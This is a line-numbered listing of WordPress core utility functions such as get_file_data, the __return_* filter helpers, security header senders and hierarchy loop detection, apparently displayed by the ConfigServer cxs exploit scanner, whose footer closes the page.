3583
3584 foreach ( (array) $comments_to_delete as $comment ) {
3585 $comment_id = (int) $comment['comment_id'];
3586 if ( !$comment_id )
3587 continue;
3588
3589 $del_comment = get_comment($comment_id);
3590
3591 if ( !$del_comment || 'trash' != $del_comment->comment_approved ) {
3592 delete_comment_meta($comment_id, '_wp_trash_meta_time');
3593 delete_comment_meta($comment_id, '_wp_trash_meta_status');
3594 } else {
3595 wp_delete_comment($comment_id);
3596 }
3597 }
3598}
3599
3600/**
3601 * Retrieve metadata from a file.
3602 *
3603 * Searches for metadata in the first 8kiB of a file, such as a plugin or theme.
3604 * Each piece of metadata must be on its own line. Fields can not span multiple
3605 * lines, the value will get cut at the end of the first line.
3606 *
3607 * If the file data is not within that first 8kiB, then the author should correct
3608 * their plugin file and move the data headers to the top.
3609 *
3610 * @see http://codex.wordpress.org/File_Header
3611 *
3612 * @since 2.9.0
3613 * @param string $file Path to the file
3614 * @param array $default_headers List of headers, in the format array('HeaderKey' => 'Header Name')
3615 * @param string $context If specified adds filter hook "extra_{$context}_headers"
3616 */
3617
3618function get_file_data( $file, $default_headers, $context = '' ) {
3619 // We don't need to write to the file, so just open for reading.
3620 $fp = fopen( $file, 'r' );
3621
3622 // Pull only the first 8kiB of the file in.
3623 $file_data = fread( $fp, 8192 );
3624
3625 // PHP will close file handle, but we are good citizens.
3626 fclose( $fp );
3627
3628 // Make sure we catch CR-only line endings.
3629 $file_data = str_replace( "\r", "\n", $file_data );
3630
3631 if ( $context && $extra_headers = apply_filters( "extra_{$context}_headers", array() ) ) {
3632 $extra_headers = array_combine( $extra_headers, $extra_headers ); // keys equal values
3633 $all_headers = array_merge( $extra_headers, (array) $default_headers );
3634 } else {
3635 $all_headers = $default_headers;
3636 }
3637
3638 foreach ( $all_headers as $field => $regex ) {
3639 if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] )
3640 $all_headers[ $field ] = _cleanup_header_comment( $match[1] );
3641 else
3642 $all_headers[ $field ] = '';
3643 }
3644
3645 return $all_headers;
3646}
3647
3648/**
3649 * Used internally to tidy up the search terms.
3650 *
3651 * @access private
3652 * @since 2.9.0
3653 *
3654 * @param string $t
3655 * @return string
3656 */
3657
3658function _search_terms_tidy($t) {
3659 return trim($t, "\"'\n\r ");
3660}
3661
3662/**
3663 * Returns true.
3664 *
3665 * Useful for returning true to filters easily.
3666 *
3667 * @since 3.0.0
3668 * @see __return_false()
3669 * @return bool true
3670 */
3671
3672function __return_true() {
3673 return true;
3674}
3675
3676/**
3677 * Returns false.
3678 *
3679 * Useful for returning false to filters easily.
3680 *
3681 * @since 3.0.0
3682 * @see __return_true()
3683 * @return bool false
3684 */
3685
3686function __return_false() {
3687 return false;
3688}
3689
3690/**
3691 * Returns 0.
3692 *
3693 * Useful for returning 0 to filters easily.
3694 *
3695 * @since 3.0.0
3696 * @see __return_zero()
3697 * @return int 0
3698 */
3699
3700function __return_zero() {
3701 return 0;
3702}
3703
3704/**
3705 * Returns an empty array.
3706 *
3707 * Useful for returning an empty array to filters easily.
3708 *
3709 * @since 3.0.0
3710 * @see __return_zero()
3711 * @return array Empty array
3712 */
3713
3714function __return_empty_array() {
3715 return array();
3716}
3717
3718/**
3719 * Returns null.
3720 *
3721 * Useful for returning null to filters easily.
3722 *
3723 * @since 3.4.0
3724 * @return null
3725 */
3726
3727function __return_null() {
3728 return null;
3729}
3730
3731/**
3732 * Send a HTTP header to disable content type sniffing in browsers which support it.
3733 *
3734 * @link http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx
3735 * @link http://src.chromium.org/viewvc/chrome?view=rev&revision=6985
3736 *
3737 * @since 3.0.0
3738 * @return none
3739 */
3740
3741function send_nosniff_header() {
3742 @header( 'X-Content-Type-Options: nosniff' );
3743}
3744
3745/**
3746 * Returns a MySQL expression for selecting the week number based on the start_of_week option.
3747 *
3748 * @internal
3749 * @since 3.0.0
3750 * @param string $column
3751 * @return string
3752 */
3753
3754function _wp_mysql_week( $column ) {
3755 switch ( $start_of_week = (int) get_option( 'start_of_week' ) ) {
3756 default :
3757 case 0 :
3758 return "WEEK( $column, 0 )";
3759 case 1 :
3760 return "WEEK( $column, 1 )";
3761 case 2 :
3762 case 3 :
3763 case 4 :
3764 case 5 :
3765 case 6 :
3766 return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )";
3767 }
3768}
3769
3770/**
3771 * Finds hierarchy loops using a callback function that maps object IDs to parent IDs.
3772 *
3773 * @since 3.1.0
3774 * @access private
3775 *
3776 * @param callback $callback function that accepts ( ID, $callback_args ) and outputs parent_ID
3777 * @param int $start The ID to start the loop check at
3778 * @param int $start_parent the parent_ID of $start to use instead of calling $callback( $start ). Use null to always use $callback
3779 * @param array $callback_args optional additional arguments to send to $callback
3780 * @return array IDs of all members of loop
3781 */
3782
3783function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) {
3784 $override = is_null( $start_parent ) ? array() : array( $start => $start_parent );
3785
3786 if ( !$arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ) )
3787 return array();
3788
3789 return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true );
3790}
3791
3792/**
3793 * Uses the "The Tortoise and the Hare" algorithm to detect loops.
3794 *
3795 * For every step of the algorithm, the hare takes two steps and the tortoise one.
3796 * If the hare ever laps the tortoise, there must be a loop.
3797 *
3798 * @since 3.1.0
3799 * @access private
3800 *
3801 * @param callback $callback function that accepts ( ID, callback_arg, ... ) and outputs parent_ID
3802 * @param int $start The ID to start the loop check at
3803 * @param array $override an array of ( ID => parent_ID, ... ) to use instead of $callback
3804 * @param array $callback_args optional additional arguments to send to $callback
3805 * @param bool $_return_loop Return loop members or just detect presence of loop?
3806 * Only set to true if you already know the given $start is part of a loop
3807 * (otherwise the returned array might include branches)
3808 * @return mixed scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if $_return_loop
3809 */
3810
3811function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {
3812 $tortoise = $hare = $evanescent_hare = $start;
3813 $return = array();
3814
3815 // Set evanescent_hare to one past hare
3816 // Increment hare two steps
3817 while (
3818 $tortoise
3819 &&
3820 ( $evanescent_hare = isset( $override[$hare] ) ? $override[$hare] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )
3821 &&
3822 ( $hare = isset( $override[$evanescent_hare] ) ? $override[$evanescent_hare] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )
3823 ) {
3824 if ( $_return_loop )
3825 $return[$tortoise] = $return[$evanescent_hare] = $return[$hare] = true;
3826
3827 // tortoise got lapped - must be a loop
3828 if ( $tortoise == $evanescent_hare || $tortoise == $hare )
3829 return $_return_loop ? $return : $tortoise;
3830
3831 // Increment tortoise by one step
3832 $tortoise = isset( $override[$tortoise] ) ? $override[$tortoise] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );
3833 }
3834
3835 return false;
3836}
3837
3838/**
3839 * Send a HTTP header to limit rendering of pages to same origin iframes.
3840 *
3841 * @link https://developer.mozilla.org/en/the_x-frame-options_response_header
3842 *
3843 * @since 3.1.3
3844 * @return none
3845 */
3846
3847function send_frame_options_header() {
3848 @header( 'X-Frame-Options: SAMEORIGIN' );
3849}
3850
3851/**
3852 * Retrieve a list of protocols to allow in HTML attributes.
3853 *
3854 * @since 3.3.0
3855 * @see wp_kses()
3856 * @see esc_url()
3857 *
3858 * @return array Array of allowed protocols
3859 */
3860
3861function wp_allowed_protocols() {
3862 static $protocols;
3863
3864 if ( empty( $protocols ) ) {
3865 $protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp' );
3866 $protocols = apply_filters( 'kses_allowed_protocols', $protocols );
3867 }
3868
3869 return $protocols;
3870}
3871
3872/**
3873 * Return a comma separated string of functions that have been called to get to the current point in code.
3874 *
3875 * @link http://core.trac.wordpress.org/ticket/19589
3876 * @since 3.4
3877 *
3878 * @param string $ignore_class A class to ignore all function calls within - useful when you want to just give info about the callee
3879 * @param int $skip_frames A number of stack frames to skip - useful for unwinding back to the source of the issue
3880 * @param bool $pretty Whether or not you want a comma separated string or raw array returned
3881 * @return string|array Either a string containing a reversed comma separated trace or an array of individual calls.
3882 */
3883
3884function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) {
3885 if ( version_compare( PHP_VERSION, '5.2.5', '>=' ) )
3886 $trace = debug_backtrace( false );
3887 else
3888 $trace = debug_backtrace();
3889
3890 $caller = array();
3891 $check_class = ! is_null( $ignore_class );
3892 $skip_frames++; // skip this function
3893
3894 foreach ( $trace as $call ) {
3895 if ( $skip_frames > 0 ) {
3896 $skip_frames--;
3897 } elseif ( isset( $call['class'] ) ) {
3898 if ( $check_class && $ignore_class == $call['class'] )
3899 continue; // Filter out calls
3900
3901 $caller[] = "{$call['class']}{$call['type']}{$call['function']}";
3902 } else {
3903 if ( in_array( $call['function'], array( 'do_action', 'apply_filters' ) ) ) {
3904 $caller[] = "{$call['function']}('{$call['args'][0]}')";
3905 } elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ) ) ) {
3906 $caller[] = $call['function'] . "('" . str_replace( array( WP_CONTENT_DIR, ABSPATH ) , '', $call['args'][0] ) . "')";
3907 } else {
3908 $caller[] = $call['function'];
3909 }
3910 }
3911 }
3912 if ( $pretty )
3913 return join( ', ', array_reverse( $caller ) );
3914 else
3915 return $caller;
3916}
3917
3918/**
3919 * Retrieve ids that are not already present in the cache
3920 *
3921 * @since 3.4.0
3922 *
3923 * @param array $object_ids ID list
3924 * @param string $cache_key The cache bucket to check against
3925 *
3926 * @return array
3927 */
3928
3929function _get_non_cached_ids( $object_ids, $cache_key ) {
3930 $clean = array();
3931 foreach ( $object_ids as $id ) {
3932 $id = (int) $id;
3933 if ( !wp_cache_get( $id, $cache_key ) ) {
3934 $clean[] = $id;
3935 }
3936 }
3937
3938 return $clean;
3939}
3940
3941/**
3942 * Test if the current device has the capability to upload files.
3943 *
3944 * @since 3.4.0
3945 * @access private
3946 *
3947 * @return bool true|false
3948 */
3949
3950function _device_can_upload() {
3951 if ( ! wp_is_mobile() )
3952 return true;
3953
3954 $ua = $_SERVER['HTTP_USER_AGENT'];
3955
3956 if ( strpos($ua, 'iPhone') !== false
3957 || strpos($ua, 'iPad') !== false
3958 || strpos($ua, 'iPod') !== false ) {
3959 return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' );
3960 }
3961
3962 return true;
3963}
3964
3965/**
3966 * Test if a given path is a stream URL
3967 *
3968 * @param string $path The resource path or URL
3969 * @return bool True if the path is a stream URL
3970 */
3971
3972function wp_is_stream( $path ) {
3973 $wrappers = stream_get_wrappers();
3974 $wrappers_re = '(' . join('|', $wrappers) . ')';
3975
3976 return preg_match( "!^$wrappers_re://!", $path ) === 1;
3977}
3978
3979/**
3980 * Test if the supplied date is valid for the Gregorian calendar
3981 *
3982 * @since 3.5.0
3983 *
3984 * @return bool true|false
3985 */
3986
3987function wp_checkdate( $month, $day, $year, $source_date ) {
3988 return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date );
3989}
3990
3991cxs: v6.27
3992©2009-2016, ConfigServer Services (Way to the Web Limited)